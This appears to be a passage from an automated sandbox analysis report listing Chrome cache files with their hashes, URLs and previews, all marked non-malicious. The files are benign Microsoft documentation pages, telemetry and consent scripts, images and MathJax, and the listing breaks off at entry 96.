Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=RZnZbS97dD.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.0747157240281755
Encrypted:	false
SSDEEP:	6144:XegPrbKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:1KCerXyUh
MD5:	875E7F3672FEC41DDB5A2386D2331531
SHA1:	282979933E99BDE3A6342DC1EF93FBC51682F2C3
SHA-256:	F205B3CBA340ECB0B5D45E5DE6D385947CC4C21248707A90BFD5894E9B61F3C9
SHA-512:	67A3C1D8FF089E01C20962D96968DE43F3E8D49B474C396F08827EE891C0315693634E663D3148D7441B501EA6939A7D84A80B1E855B7C2A8BCB17E0013AFAD4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
